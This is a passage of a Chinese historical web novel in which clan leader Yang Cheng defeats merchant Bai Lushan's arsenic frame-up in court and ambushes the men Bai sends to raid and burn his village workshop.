郭纲长叹一声,冲白鹿山摆了摆手。 白鹿山深深一揖,转身来到县衙之外,挥了挥手,二掌柜和几个干儿子抬着一具尸体奔到堂前。 然后二掌柜拿起鼓槌猛敲几下,往地上一跪。 “青天大老爷,我家伙计死得冤啊!” 第四十五章 让贤 看着大堂上七翘流血的死尸,郭纲毫不怀疑白鹿山真敢杀了自己的儿子。 这是个不择手段,视人命如草芥的人形畜生,自己跟他比,底线还是太高了。 一番审问后,二掌柜及干儿子们作证,这事京福斋的小伙计,负责对糖霜验货。 因为近期刘通送的糖霜多,小伙计验货频繁,结果忽然中毒,七窍流血而死。 经仵作查验,确属砒霜中毒。拿了刘通送来的糖霜样品,也从其中检出了砒霜。 消息不胫而走,一时间买了京福斋糖霜的富豪权贵们,都吓得半死,赶紧让家里猫狗仆人先吃点压压惊。 白鹿山当然知道这个消息对京福斋不是好事儿,但两害相权取其轻,现在他已经顾不得这些了。 只要能击碎对方的水晶,自己的塔倒塌多少座都不是大事儿,后面都能恢复。 刘通被抓走时一脸懵逼,他塞了块银子给捕快,捕快小声告诉他原委。 刘通大惊,立刻吩咐自家司机——他买了马车后就雇了个车把式,人称老车,颇为忠心。 “老车,快拉上表小姐,立刻去杨家湾,把消息告诉杨成,让他赶紧想办法!” 老车赶着马车风驰电掣,一路暴土扬尘地冲到杨家湾,速度超过了百分之九十九的车辆。 其中也包括去杨家湾抓人的捕头。捕快一边咳嗽一边对捕头报告。 “柳头,前面的车好像是刘通家的,看方向是奔杨家湾去了,咱们要不要加快点脚步?” 捕头横了他一眼:“白鹿山给过你几个子儿?犯得上这么积极吗? 人家有马车坐,咱们衙门连头驴都不配,咱们腿儿着能快到哪儿去?” 此时,县衙大牢内,牛师爷走进来,冲狱卒点点头。 “人犯杨二蛋,母亲生病,朝廷以孝治天下,县尊大人特允其回家探望。” 杨二蛋诧异地走出牢门,却看见白鹿山站在拐角处,笑容阴冷。 杨二蛋险些吓尿了:“白……白大爷,我自首告你那是被逼的,我都坐牢了,你还想怎样?” 白鹿山笑道:“放心,看在孙则的面子上,我也不会杀你。我给你个戴罪立功的机会,如何?” 杨家湾,村中已经被马车惊动了,都围在杨成家门口,听着秀儿对杨成哭诉。 杨成神色平静,声音也平淡:“想不到,郭纲还是上了白鹿山的贼船了。 你先住在我家吧,给我娘做伴儿。你舅舅那边你不用担心,白鹿山要对付的是我,不是他。” 秀儿眼泪汪汪地点点头:“我也不是很担心我舅舅,我主要是担心你。” 杨成冲她笑笑,转身拍了拍杨草的肩膀:“兄弟,估计捕快马上要来抓你了,你怕吗?” 杨草显然是有点怕的,但他挺起胸膛:“怕个鸟,老子不是孬种!大不了一命换一命,绝不连累成哥!” 杨成满意地点头:“放心,我不会让你出事儿的,我跟你一起去。你先躲起来,等我招呼。” 说话间,捕头带着捕快已经进了村儿。族长连忙上前招呼。 这是民间惯例,村长、族长一般都兼着粮长的差使,平时来了官面上的人,都是他们维持。 粮长是负责替朝廷收税的,换句话说,税收不上来,朝廷先拿粮长是问。 所以粮长经常需要自掏腰包替穷人先交税,然后再催逼欠税的人。 当然,粮长也是有些特权的,例如朝廷视为吏员,上堂可免跪拜,小罪只罚钱不入狱。 这也是有些影视剧里经常有族长上堂不下跪的原因,不是因为族长身份,而是粮长身份。 捕快们收了族长的银子,十分满意。杨家湾真是富了,之前来都是给些铜钱,现在给碎银子了! 因此当他们听说杨草不知所踪,也不是很着急,让老族长慢慢地找,天黑前找出来就好。 捕头走到一边,小声对杨成和族长说道:“我们兄弟从县衙出来前,听见白鹿山对他干儿子说话。 他让干儿子召集人手,要在路上和县城里对杨成不利,你们需要严加提防!” 族长大惊,想了想,又给捕头加了块银子,然后转身敲响了祠堂的大鼓。 聚起村人后,族长宣布:“自古宗族之长,有德有能者为之。 今杨氏祖宗有灵,杨厚丰之孙,杨长天之子杨存成,虽年少而有德,全族皆知。 老朽今日退位让贤,由杨成接任杨氏族长,并将杨家湾村长、粮长之责一并移交。” 众人虽然惊讶,但又不觉得有什么特别的。以杨成的身份,只要别太不靠谱儿,当族长是早晚的事儿。 不过老族长这么着急,火线让贤,想来必有深意,便一起看向老族长。 老族长大声道:“一族之长,身系一族生死荣辱,族人誓死相护,责无旁贷。 我知道大家都是感恩之人,便是无此举,也断不会不管成子的死活。 但今日之事非同小可,故而以族规相约:若有临阵退缩,贪生怕死者,族谱除名,不入祖坟!” 众人吓了一跳,在这个年头儿,“族谱除名,不入祖坟”的威力,堪比朝廷的“满门抄斩,鸡犬不留”。 朝廷满门抄斩,还能有漏网之鱼,只要族人庇护,总能传下香火去,至少死了还能见祖宗。 族谱除名,不入祖坟,不但子孙都成无根之木,死了连祖宗都见不着面了。 老族长见众人神情凛然,知道自己道德绑架成功,长长地松了口气,他尽力了。 新任族长杨成却皱起了眉头,显然处于深度思考中。 李正以为他毕竟年少,事到临头难免慌乱,便安慰道。 “放心,我虽不是杨氏族人,不怕厚德叔的威胁,但我也会尽力护你的。 厚德叔说得对,杨家湾没有忘恩负义之徒!” 老族长既然卸任,自然就从乡长一下变成三胖子了,人们以后就不称职务了,免得混淆。 杨成忽然道:“厚德爷,把我买的彩烟都拿出来吧,今天派上用场了。 正好趁这个机会,咱们也看看,杨老虎的名字,究竟还有多少人能放在心上。” 杨成把杨草叫了出来,自己手里举着一根烟棒,那是一种特制烟花,是狼烟的小型简易版。 这种东西往往都是猎户或采药人携带的,防止在深山中与同伴失联,方便互相救助。 为了避免和朝廷的狼烟撞色,引起不必要的麻烦,这种烟和烟花一样,也是彩色的。 当然,除了颜色,烟柱的规模和持久度也跟狼烟没法比,但只要多拿几根也够用了。 这东西很贵,杨成有钱后买了一些,也让回娘家的女人们给各自村里都送过。 同姓不通婚,海盐各大小村落,其实算起来都互有嫁娶,不过有些村子之间特别频繁,累世姻亲。 大明刚成立这些年,南方沿海之地偶有倭寇出没,有的村里连狼烟都有,只是不敢随便点罢了。 站在村口,杨成看着身边黑压压的一片族人,点点头。 “各位叔伯兄弟,记住我说的话,走吧!” 第四十六章 聚众 人潮如水,彩烟升腾。几百人的队伍在路上慢慢行进,人人手里都攥着闪亮的斧子。 走出去一段路后,远处也有彩烟升起,刘家湾走来二百多人,手中也拿着些锄头一类的农具。 人群走进后,刘家湾的族长冲前族长杨厚德拱手,神色惭愧。 “杨老哥啊,愚弟无能,村中很多小辈们瞻前顾后,不敢同来,实在惭愧。” 杨厚德说明已经更换族长一事,刘家族长十分欣慰,连连点头抹泪,表示理所当然。 杨成见刘家湾来的人中,最年轻的也有三十多岁,心中了然。 遗恩不过三代,其实到第三代上就已经淡薄了。自己这一代人,就不能指望父祖遗恩了,必须靠自己。 队伍继续向前,不断有各村的人汇聚而来,人数或多或少,多的一两百,少的几十人。 杨成一一记在心里,默默分析原因。 人多的,像白家村,当年为了救他们,杨家军血战村口,杨老虎死了三个儿子。 人少的,像靠山屯,因为地理位置好,乱兵来了,全体进山,受杨家军的恩惠就少。 来的人最少的是小白囤,只有寥寥数人。 白家村和小白囤同以白姓宗族为主,但并非同源。 白家村大,小白囤小。小白囤来人少的原因,是白鹿山祖上就是小白囤人。 这几年白鹿山发了财,衣锦还乡,修过祠堂,还修过桥,也算兔子不吃窝边草。 因此能来的这几个人,想来都是当年杨老虎的死忠粉儿,这一来基本就和白鹿山决裂了。 人越聚越多,从几百人聚到了两千多人,沉默无声地向着县城走去。 其中不断有人掉队,脱离队伍,但在两千多人的队伍中,这些人显得微不足道,不引人注意。 当两千多人聚集在县城外,守城兵丁吓得赶紧跑去找县城守备。 守备正攥着一张纸条,脸色阴沉,听见兵丁的话,顿时爆炸了。 “妈的,平时只知道拿钱喂郭纲一家子,从没把老子放在眼里,现在用到老子了。 让一个兵部司官来压老子,老子这官是真刀真枪拼来的,不是舔谁的屁股当上的!” 守备沉着脸登上城门,大吼道:“干什么?天都快黑了,这么多人堵着城门,是要造反吗?” 杨成越众而出:“守备将军,我等都是良善百姓,因奸商白鹿山颠倒黑白,陷害良民,我等特来观审!” 守备烦躁地拍着城门:“观审也他妈用不着这么多人,最多进去五十个人!剩下的人在城门外等着! 杨成,我不是本地人,可也听说过你。你最好别闹事儿,否则休怪本官不讲情面!” 杨成拱手道:“将军,白鹿山心狠手辣,万一我们进城的人少,被他给暗算了怎么办?” 守备一挥手:“你当守城兵士是摆设吗?城中有捕快,有驻军,谁敢造次,老子先杀了他!” 杨成转身道:“各位高邻,守备将军的话你们都听见了,感谢各位一路相护。 就选出五十个人一起进城,剩下的就依将军之言,在城门外稍候,此事不会太久!” 五十人进城后并没有都去县衙,而是一哄而散。守备虽然诧异,但也顾不得。 他大步流星地直奔县衙后堂,见到正休堂的郭纲。 “郭大人,你在搞什么鬼?真要激起民变,就算扑灭了,你和我也得倒大霉! 我把话说在前头,白鹿山不是我亲爹热娘,平时看在他靠山面子上不搭理他,可犯不上为他拼命!” 郭纲面沉似水:“你这话什么意思?有人告状,本官自当秉公执法,难道还不审了吗?” 守备盯着郭纲许久:“咱们哑巴吃馄饨,心里有数。” 守备拂袖而去,这边衙役也进来报告人犯杨草带到,郭纲从牙缝里崩出两个字。 “升堂!” 堂上,二掌柜悲痛说自己的伙计是一级糖霜鉴定师,一向爱岗敬业,自己是如何当未来掌柜培养的。 结果被刘通送来的糖霜给毒死了!真是天妒英才,无颜也薄命! 白鹿山作为东家出场,悲愤地指着刘通和杨草,伤心得全身发抖。 “你们不管送多少糖霜,我来者不拒,全是现银交易! 你们还有什么不知足的,竟然要在糖霜里下毒,是要害我还是害别人啊!” 刘通连连磕头:“大人明鉴啊,京福斋是我的摇钱树,我有何理由下毒害人呢?” 白鹿山立刻转向杨草:“若不是你,便是杨草!他暗中卖糖霜给桂花斋! 想来是桂花斋要独霸市场,坏我名声,所以杨草下毒,要毁了我京福斋!” 杨草自然也大声喊冤,郭纲看了白鹿山一眼,缓缓开口。 “人,确实是吃了刘通送来的糖霜死的。这批糖霜检测也确实含有砒霜。 刘通,杨草与桂花斋是否有交易,尚不可知,但桂花斋有糖霜售卖,也是实情。 京福斋不但死了重要人才,因此事名誉受损,生意会有很大损失,从动机上绝不会是自行所为。 刘通、杨草,你二人难逃下毒害人之罪,还不从实招来,等着大刑伺候吗?” 郭纲这番话,可说是合情合理,滴水不漏。这份案卷就是送到刑部,也看不出任何问题来。 眼看衙役们将板子、夹棍都拿了出来,刘通吓得面无人色,杨草咬牙硬撑着,也微微发抖。 “大人,我是杨家湾族长杨成,也是杨家湾粮长,可否容我说两句?” 郭纲点头:“尽管说,本官公平公正,自然不会不让人说话的。” 杨成上前一步:“大人,若说下毒,总要有毒可下。城中卖砒霜的药店只有一家。 大人可让药铺出示每日账簿,看刘通、杨草可有购买砒霜的记录。 哪怕是其亲人好友购买,也可顺藤摸瓜。若无人购买,则毒从何来?” 话音未落,小跑而来,满头是汗的药铺掌柜抱着账簿上堂了。 “大人,小人是回春堂朱仲,小人的回春堂今年并无砒霜卖出。 过往两年所售人员皆记录在案,并无此二人亲友,大人可依记录询问购买之人。” 白鹿山恶狠狠的瞪着朱仲,朱仲无奈地看向身边的朱家庄的朱家族长。 海盐县城夹在三方之间,经历多轮战火,现在城中百姓多是城外迁入,其祖宗宗祠都在城外老家。 白鹿山立刻道:“大人,砒霜几十年仍有药效,单只一年无人买不能说明什么。也许是他俩谁家的祖传砒霜嗯!” 郭纲点头道:“此言也有道理。药铺最多也就记三年的账簿,三年前购买的却也难以查知。” 第四十七章 示威 杨成再道:“砒霜有淡红之色,与糖霜并不一致,其混在糖霜之中,一目了然。 这伙计又不是瞎子,看出糖霜有异常,还需要用嘴去尝吗?” 白鹿山反驳道:“砒霜有淡红色是纯度不高所致,如今有高纯砒霜已经是白色的了,与糖霜接近。 此次糖霜中混入的便是这白色砒霜,所以我的伙计才会中招!” 砒霜确实是白色晶体,但在古代提纯能力有限,往往会呈现淡红色,所以才有“鹤顶红”之名。 杨成冷笑道:“竟然如此?朱掌柜,你的药店中,可有这等白色砒霜吗?” 朱仲连连摇头:“在下经营药店多年,从未听说过这等白色砒霜,都是淡红色的。” 随后又看向堂下百姓:“各位,你们有谁听说过他所说的白色砒霜吗?” 堂下百姓一起摇头,表示孤陋寡闻,从未听过见过。 杨成看向郭纲:“县尊大人,我也是今天才听说有白色砒霜的,你听说过吗?” 郭纲虽未见过,但确实听说过。白色的高纯砒霜是稀罕物,一般都是高层之间互相下毒才用的。 这次为了陷害杨成,白鹿山也是下了血本儿,拿出了高级货。 因为他也清楚,如果拿出来的证据是一份白色糖霜里混着红色砒霜,那伙计死得一点也不冤。 郭纲咳嗽一声:“本官听说过,但这次也是第一次见到。” 杨成看向仵作:“仵作大哥,你又是如何判定这糖霜中的毒物是砒霜呢?” 仵作愣了一下,看着杨成,杨成的目光里有温暖的鼓励,也有毫不掩饰的威胁。 仵作没有回答杨成,而是先看向人群里一个对他怒目而视的族长,然后回头向郭纲行礼。 “启禀大人,小人也未见过白色砒霜。只是这伙计中毒之象,确实与砒霜类似。 糖霜中混杂不同的白色粉末,是……白东家说这是砒霜。” 白鹿山心里一沉,怒视仵作,仵作偏过头去不看他。 杨成冷笑道:“原来如此,众人皆未见过此物,白东家却一眼就认出此物是砒霜? 看来白东家果然是见多识广。只是不知这么高级的砒霜,何处才能买得到呢?” 白鹿山不上当:“我怎知道何处能买到?杨草和刘通自然知道,用刑便清楚了。” 郭纲沉吟不语,他终于看明白了,杨成看似是在为杨草和刘通辩护,其实是在示威。 那回春堂的朱仲,自己衙门里的仵作,都是土生土长的本地人。 看他们的态度,便知道他们宁可得罪白鹿山,甚至是得罪自己这个县令,也不肯诬陷杨成。 或许他们还没到肯为杨成作伪证的程度,但肯定也不会说出对杨成不利的话来。 看着堂下越聚越多的城中百姓,其中很多已经开始和进城的族人交头接耳了。 就连县衙中的衙役和捕快,也不顾堂上纪律,在和堂下族人眉来眼去。 从来官为流官,吏为坐吏。这些当衙役捕快的,都是本地世家,手艺传承。 而且你若敢开革这些人,其他人估计本地乡情,也不敢来填补,所以他们根本不怕丢饭碗。 郭纲后背凉飕飕的,如果不是儿子在白鹿山手上,他恨不得立刻就一拍惊堂木,把白鹿山拿下。 不过现在肯定是不能这么干的,他深吸一口气,严厉地咳嗽一声。 “两人所言,皆有道理。还需分辨,本官岂是妄动刑罚,屈打成招之人?” 白鹿山看向郭纲,郭纲也看着白鹿山,千言万语,皆在不言之中。 你他妈的看什么看,咱俩是怎么说的?我只负责把杨成给你调出杨家湾,方便你下手! 原本是计划如果杨成不出村,我才严刑拷打杨草,逼杨成来县衙。 可现在杨成是跟着杨草一起来的,你路上没敢动手,能怪我吗? 现在我再对杨草动刑,除了激起民愤,让人看出我和你一伙儿,还有何意义? 杨成淡然道:“大人断案,自有法度。要用刑也该是先给你的二掌柜用刑。 要说可疑,再没有比他更可疑的人了。” 白鹿山怒道:“他是苦主,是死者师父,是告状之人,有什么嫌疑?” 杨成看着白鹿山:“刘通多次到京福斋送货,都是二掌柜当场验货付钱。 此事众目睽睽,城中百姓多次目击,皆可作证。已入库的糖霜,为何伙计忽然会品尝?” 白鹿山冲二掌柜使了个眼色,二掌柜赶紧说道:“我是担心存放不善,落了灰尘,故而让他再看看。” 杨成追问:“既然担心,为什么你不自己看?糖霜以盒子盛放,怎会落灰?” 二掌柜支吾道:“我……我想教他,如何品尝糖霜品级,所以让他自己试试!” 杨成立刻拱手道:“大人,物证何在?” 郭纲点点头,仵作拿过一大盒糖霜来。杨成看了看,糖霜里果然混杂着白色的粉末。 盒子上有一个很小的木勺,是专门用来品尝糖霜的,此时盒子里平整的糖霜上,有一个勺子印。 不得不说,这个案发现场还是弄得很用心的,看起来很真实。 杨成看了一眼,心里有数,立刻问道:“你是从库中随便拿出一盒儿,还是按顺序拿出一盒儿?” 二掌柜没想到杨成会掌控场上局势,被连续地追问弄得狼狈不堪,疲于应付。 “是随便拿出的一盒儿。” “那也就是说,要么是你运气极差,整个库房里只有这一盒有毒,就被你挑出来了。 要么就是库房里剩下的糖霜中,也有有毒的,对不对?” 二掌柜扛不住了,望向白鹿山,杨成冷笑着看着白鹿山。 “白东家,你很聪明,知道品尝白糖,不可能吃太多,否则看起来就太假了。 可要让这一小勺就能毒死人,那其中混杂的砒霜就不能太少。 这一大盒糖霜,要保证砒霜混在其中,一小勺就能让人死,那用量就少不了。 可你说的这种白砒霜,很少有人见过,想来贵重无比,你也未必有多少。 而且,让你把库房里所有的糖霜都毁了,你也舍不得。 所以我想,你库里其余的糖霜,都是没毒的,只有这一盒有毒,对吗?” 白鹿山脸色铁青:“那就是伙计倒霉,那么多盒儿里偏偏挑中了这么一个有毒的,不行吗?” 杨成笑道:“当然行,无巧不成书嘛。可若是杨草或刘通下毒,只下这么一盒,意欲何为? 糖霜卖出去死了人,即无特定目标,又难逃干系,他们为何要做? 你说二掌柜没有理由害人,难道他们就有理由了?” 白鹿山铁青着脸不说话,郭纲松了口气。差不多了,该收场了,不管谁输谁赢,都与我无关了。 “此事十分蹊跷,正如双方所说,双方均无下毒动机。 且糖霜中之物,众人皆未见过,难以判定是砒霜,也可能只是灰尘。 此人之死,或另有蹊跷,很可能是在他处误食毒物,恰好在京福斋中毒发。 白东家,你摊上这种事儿,也是你倒霉,以本官之见,不如你出些丧葬之费,就此罢讼,如何?” 郭纲明显是要脱身了,他做完了自己该做的,不打算继续加钟了。 所有人都以为白鹿山不会同意,他闹出这么大的阵仗,啥也没捞着,还大大折损了京福斋的名声,岂能甘休? 就在此时,有守门的税吏跑回来,冲着郭纲大喊。 “县尊大人,城外有火起之处,看方向是杨家湾那边!” 白鹿山抬起袖子,假装抹眼泪,眼神中却闪过一抹得意之色。 “县尊大人所言也有道理,既然如此,我就自然倒霉吧。反正这孩子别无亲人,我好生安葬就是了。” 第四十八章 突袭 郭纲一愣,顿时明白自己是被白鹿山给骗了。 不但自己,所有人都被白鹿山骗了。 白鹿山根本不是想告倒杨成,他也知道凭这种拙劣的栽赃手段,很难定刘通和杨草的罪。 白鹿山也许想过半路伏击杨成,但杨成聚众而来,他根本不可能有机会得手。 所以白鹿山真正的后手,其实是趁着杨家湾和附近村子全体出动,为杨成撑腰的空虚之机,直捣老巢。 杨家湾既然要保护杨成,出来的必然都是青壮,村中就算有人,也都是老弱妇孺了,毫无抵抗之力。 之前杨二蛋不过是画个图都没成,如今白鹿山的人,只怕连设备都搬走了,临走才放火烧的工坊。 郭纲松了口气,如此了局倒也是件好事,工坊毁了,设备丢了,杨成想恢复生产需要很久。 有了杨成的设备,白鹿山自己也能做霜糖了,杨成给白鹿山设下的死局也就算破了。 自己儿子保住了,杨成也没死,不会激起民变,可以算是皆大欢喜的局面。 当然杨成不会太欢喜,但这就不是郭纲需要担心的了。 但作为知县,对县城周围任何天灾人祸都负有领导责任,郭纲还是表现得很焦急。 “投毒之案已了,杨成啊,你赶紧带着族人回村救火吧! 刚好各村百姓都聚集在城门外,大家一起去,人多力量大,本官随后也去!” 白鹿山看着杨成,希望能欣赏杨成脸上的惊愕、愤怒和绝望。 时间倒回几个时辰之前,杨成正领着村中人随着捕快出村,人人手中斧头闪亮。 很远很远的野地里,趴着二十多人,各个手持利刃,与大地融为一体。 杨二蛋夹在其中,瑟瑟发抖,他再次小声确认。 “你们答应过我的,只放火,不杀人!” 领头的白老二不耐烦地呸了一声:“好端端的我们杀人干什么? 老大说钱都不让抢,免得耽误时间,咱们拆了设备,放了火就走。 铁匠家得抢,他家有牛车,拉上设备只要上了官道,老大安排了马车接应我们。 不过老子有言在先,如果有不开眼的碍手碍脚,就别怪老子无情。 你把你自己的老娘看好了,别往跟前凑,否则别怪刀剑无眼,伤了和气!” 杨二蛋赶紧说道:“铁匠家也不用抢,我是铁匠的亲侄子,他不在家,我找婶子就能把车借出来。 能不动手最好,我借不成你们再抢。否则真把动静闹大了,就算老弱妇孺缠住你们也够呛!” 白老二想想也有理,杨老虎的威名远播,想来他住的村子里,人都不好惹。 人群走得不快,远处不断有其他村子的人举着彩烟过来汇合。 这些人趴在地上一动不敢动,生怕被人从远处看见,前功尽弃。 他们也不敢冒险行动,因为人群还没离村子太远,万一他们冲进村子,引发骚动,这些人掉头回来就糟了。 天色渐渐黑了下来,远远望去,远处的县城城门外一片火把,那时百姓聚集之处。 白老二终于松了口气:“行了,这案子没有两三个时辰审不完,天也黑了,咱们行动!” 众人站起身来,二蛋走在最前面,没有走进村的正路,而是沿着河边向村后摸去。 白老二狐疑道:“你确定这条路对吗?可别耍花样!” 二蛋苦笑道:“要能从村口进村,白大爷还用找我吗?村口有哨房的,你们从这儿就能看见。” 白老二伸长脖子瞭望,果然看见一座比其他房子都高的房子,而且里面亮着灯光。 杨家湾的村子类似一个庞大的四合院,村边上的房子前后整齐,中间以院墙相连,形成防御圈。 倒不是说那院墙有多高,但家家有人住,还有养狗的,你爬墙进来会惊动住家。 然后只要一声惊叫,立刻就会全村皆知,所以想悄悄地进村儿,就要靠杨二蛋这样的内部人士。 杨二蛋沿着村子外围兜了半圈儿,黑灯瞎火的,在一处柴火垛处被绊了个马趴。 杨二蛋骂骂咧咧地爬了起来:“这柴堆之前还没有呢,应该是从柴山砍回来太多,准备拿去卖的! 过了这里,前面不远就是进村的地方了。大家都小心点,别弄出太大动静来。” 众人很以为然,白老二还叮嘱大家:“都查看一下身上带的火折子,别到放火时找不着!” 前面有段围墙,围墙里面是一个破败的院子,那是杨草家的院子。 整个杨家湾,只有杨草家是没人住的。杨二蛋让大家别动,自己第一个爬进去。 果然没有惊动任何人,白老二等人等了片刻,也相继翻墙而入。 二蛋他沉着地走在前边,把众人带进了杨家湾。 其实进了杨家湾,白老二等人不用二蛋之路,就一眼看见占了一大片地的工坊了。 杨二蛋一指工坊:“你们先去拆设备吧,我去借牛车!” 白老二使了个眼色:“老三,你跟着他去,别让人看见,如果他借不成就抢!” 杨二蛋在村里贴着墙根一路向前,走到一个房子处停下了。 白老三狐疑道:“这就是铁匠家吗?怎么看着不像呢?” 杨二蛋指着黑暗中:“那不是牛吗?全村只有他家有牛!” 白老三伸长脖子,努力地看着黑暗中的动物。 “这像是猪啊,牛的腿有那么短吗……” 砰的一声,白老三头顶挨了一石头,一翻白眼躺下了。 杨二蛋撒腿就跑,直接冲进屋里,拉起已经躺下睡觉的老娘。 “娘,快跟我跑吧,村里太危险了!” 刘婶儿睡眼惺忪,惊讶道:“二蛋?你不是在坐牢吗,怎么跑出来了,胳膊怎么伤了?” 杨二蛋一愣,随即明白村里人没跟老娘说自己被打断胳膊的事儿,心里一热。 随即村子里忽然响起了密集的锣声,伴随着杨老惊的破锣嗓子。 “来人啊,起火了!” 紧接着是小黑疯狂的咆哮声,引起了村中一片狗叫声。 杨二蛋用一只胳膊背起老娘,一边往外跑一边解释。 “白鹿山的人逼着我带他们进村抢设备,我用火折子点了柴火垛,现在人们肯定发现了。 他们都有刀,村里都是老弱妇孺打不过的,咱们趁乱赶紧跑吧!” 老娘挣扎着从杨二蛋背上滑下来,给了杨二蛋一耳光。 “畜生,带着人来抢自己家人!不用跑,谁告诉你村里只有老弱妇孺的?” 第四十九章 伏击 “妈的,不是说杨家湾只剩老弱妇孺了吗?白老二,你他妈的骗我们!” 二十多个歹徒在工坊门口被一群人团团围住,村外的柴火垛的火光照亮了夜空,照得一把把斧子闪着寒光。 二百多精壮汉子,人人手里拿着一米长的斧子,斧刃上寒光闪烁,让人头皮发麻。 而且他们都是单手持斧,另一只手都拎着个圆圆的东西,那是水缸上的木头盖子。 这木头盖子直径一米,上面有个把手方便拎起来,拿在手里就是个天然的盾牌。 小黑在工坊的大门里疯狂咆哮,如果不是有门挡着,他早就从后面掏肛了。 铁匠挥了挥手里的斧子:“把刀放下,留你们一条命。否则你们今天都得死!” 有两个歹徒是临时入伙儿的,身上没有人命,眼见敌我悬殊,立刻扔下了手里的刀。 白老二大怒,一刀劈了一个,大吼一声:“左右都是死,弟兄们上啊!” 刀光斧影,外围人挤不进去,举着几根火把照亮,但这其实完全没必要。 杨二蛋点着的柴火垛十分抗烧,就像一个大型的篝火一样,照着杨家湾里的厮杀。 刀砍在水缸盖儿上,发出闷响,平时就吸足了水气的木头盖十分坚韧,根本就砍不坏。 斧头落在人身上,发出屠夫砍肉的声音。一会儿像砍排骨,一会儿像砍后鞧,一会儿像砍猪头。 篝火还没熄灭,战斗就已经结束。杨家湾有几人受了伤,但都是皮肉伤,包扎一下就好了。 歹徒们则惨烈得多,纵然他们心狠手辣,功夫不低,但双拳难敌四手。 除了水缸盖克制了钢刀外,他们还撒了三次网,罩住了歹徒的手脚。 但最重要的是,以铁匠为首的几十个中年男人,都曾是杨家军的主力。 跟在杨老虎身边,自然学了些行军布阵,战场杀伐之术,非江湖人士可比。 若是单打独斗,这些歹徒肯定能占上风,但群殴结阵,这些歹徒根本就不懂。 歹徒们死了一多半,剩下的也都骨断筋折,唯一一个还算完整的,就是一开始扔下刀的那个。 渔网裹缚,绳索捆绑,歹徒们惨叫不绝,白老二和几个死硬分子兀自怒骂不休。 铁匠皱皱眉头:“把这几个砍死。” 众人一愣,看向铁匠,铁匠冷然道:“杨成吩咐的,凡是不怕死的,全杀了。 要口供,留这几个怕死的就行了。这几个留着也是祸害。” 那几个死硬分子顿时住口了,可惜已经晚了,众人把他们拉出来,却迟迟下不去手。 铁匠叹了口气:“你们啊,没怎么见过血。乱世中你不杀人,人就杀你。 现在刚过了几天不见血的日子,就真以为天下太平了?一人一斧子,谁也不许拉下!” 正说着,有人把杨二蛋和被砸晕的白老三绑了过来,刘婶儿抹着眼泪,跟在后面。 杨铁匠看了看杨二蛋,叹了口气:“你小子,除了还有点孝心,啥都没了! 你也姓杨,我就不收拾你了,等着族长回来发落你吧。” 说话间,邻村留守的人已经拿着水桶、木棍赶过来了,帮忙救火。 而此时县城城门大开,郭纲带着捕快,随着聚集在城门前的众人,也一起赶赴杨家湾。 白鹿山没能从杨成的脸上看到绝望的神色,心中已经隐隐觉得有些不妙。 但为了表示自己问心无愧,他还是带着人,跟随众人一起去了杨家湾。 这也是犯罪分子的常见心理,一般都会回到现场看看,一是减少嫌疑,二是看看进展。 在白鹿山的预期中,此时杨家湾应该是一片狼藉,或许还有几具尸体。 人人脸上带着绝望,落着黑灰,汗水混合着救火的水在脸上化成铜锤脸谱。 几个老弱妇孺抱头痛哭:“老天爷啊,天杀的强盗啊,工坊没了,活不了了……” 然而当众人来到杨家湾时,柴堆刚刚熄灭,人人兴高采烈,就像篝火晚会刚散场一样。 尸体倒是有十几具,整齐地摆在地上,脸上狰狞不甘的表情格外整齐,也格外熟悉。 “什么情况?什么情况!”二掌柜的惊叫起来。 白鹿山倒是沉住了气,没有喊出声来,但那气沉得也和心一样,一直往下沉,一直…… 郭纲从出城那一刻,就在琢磨着如何善后,但眼前的景象闪了他的腰。 他本来打算以流寇贼盗入村的名义,安抚杨家湾及各村的人,再把锅甩给守备。 想不到如今贼寇都已被抓被杀,他可能需要安抚的反而是白鹿山了。 郭纲暗暗祈祷,白鹿山千万别失去理智,自己儿子还在这个疯子手上呢! 杨成没搭理他们,先是去看了受伤的村民,村民们一个个挺直腰杆儿,展示着自己的英勇。 “大家护村有功,回头咱们开祠堂分钱,受伤的单加一份儿!重伤的再翻倍!” 白鹿山看着尸体里的白老二以及几个死硬分子,心如刀绞,这都是他的死士啊。 这一战之后,他以命换命的筹码没了,再对抗潘家那样的大族,已经力不从心了。 “白鹿山,你是不是很奇怪,杨家湾里为什么还会有这么多青壮在?” 白鹿山不上当,只是盯着杨成,不承认也不否认,不拒绝也不负责。 “因为你聪明过头了。你故意让捕快们听到你说要在路上和城里伏击我。 你知道这些捕快中总会有人把消息告诉我,我就会害怕,就会带上村中青壮保护我。 这一招本来很高明,因为你凶名在外,谁也不知道你能召集多少人来对付我。 而且你现在走投无路,困兽犹斗最是凶狠。如果我信了你,就会把杨家湾掏空。” 白鹿山终于开口了:“虽然我什么都没做,但你这么说听起来很有道理。” 杨成点点头:“所以我说你聪明过头了。你要吩咐手下,难道找不到一个隐秘之所? 还所以我猜你是故意让我知道,好逼我全体出动保护,掏空杨家湾的。” “所以你召集各村的人,并不只是为了保护你,而是为了掩盖不断掉队回村的人?” 杨成点头:“没错,三四百人里少了两百人,一眼就看出来了。但一两千人里少了两百人,就很难看出来。 即使被人看见有零星掉队的,他们也只会以为是有人临阵退缩,偷偷溜走了。” 白鹿山忽然哈哈大笑起来,笑声中充满了痛恨和苦涩。 “就算你费尽心机,伏击了这些人,可你又能怎样?你能证明这事儿和我有关吗?” 第五十章 族谱 杨成看了看剩下的俘虏,一个个垂头丧气,只有刚醒过来的白老三怒目而视,寻找着人群中的**蛋。 **蛋哆哆嗦嗦地走出来:“我……我能证明,是白鹿山让我带路的。这些人里死的有个白老二,这人叫白老三。” 白鹿山狂笑道:“你听听这都是什么名字?白老二,白老三,你自己听着像话吗?” 杨成点头道:“很细心,都不用真名,只要嘴够硬,抓住了也审不出来历。 不过,你觉得是他们的嘴硬呢,还是县尊大人的夹棍更硬呢?” 郭纲面无表情:“本官岂是滥用刑罚之人?” 杨成淡然道:“案件未明,善恶难分,自然不该滥用刑罚。 如今这些都是**越货之徒,**放火之辈,杀了都不冤,刑讯取供,何谈滥用?” 郭纲有苦自知,板着脸道:“你在教本官做事吗?本官自有法度!” 杨成深深地凝视着郭纲,郭纲努力用眼神儿告诉杨成,自己是有苦衷的。 不知道杨成是不是看懂了,叹了口气:“也罢,那就请大人按自己的法度办吧。” 十几具死尸,十来个活人,被郭纲带走了,“回家探病”的**蛋也被带走了。 白鹿山临走时恶狠狠地盯着杨成:“你费了这么大的劲,还是搬不倒我,又能如何?” 杨成笑了笑:“你也一样费了这么大的劲,还**这么多人,你又能如何了?” 白鹿山喘了口粗气:“所以不过是个平手,你得意个什么劲儿!” 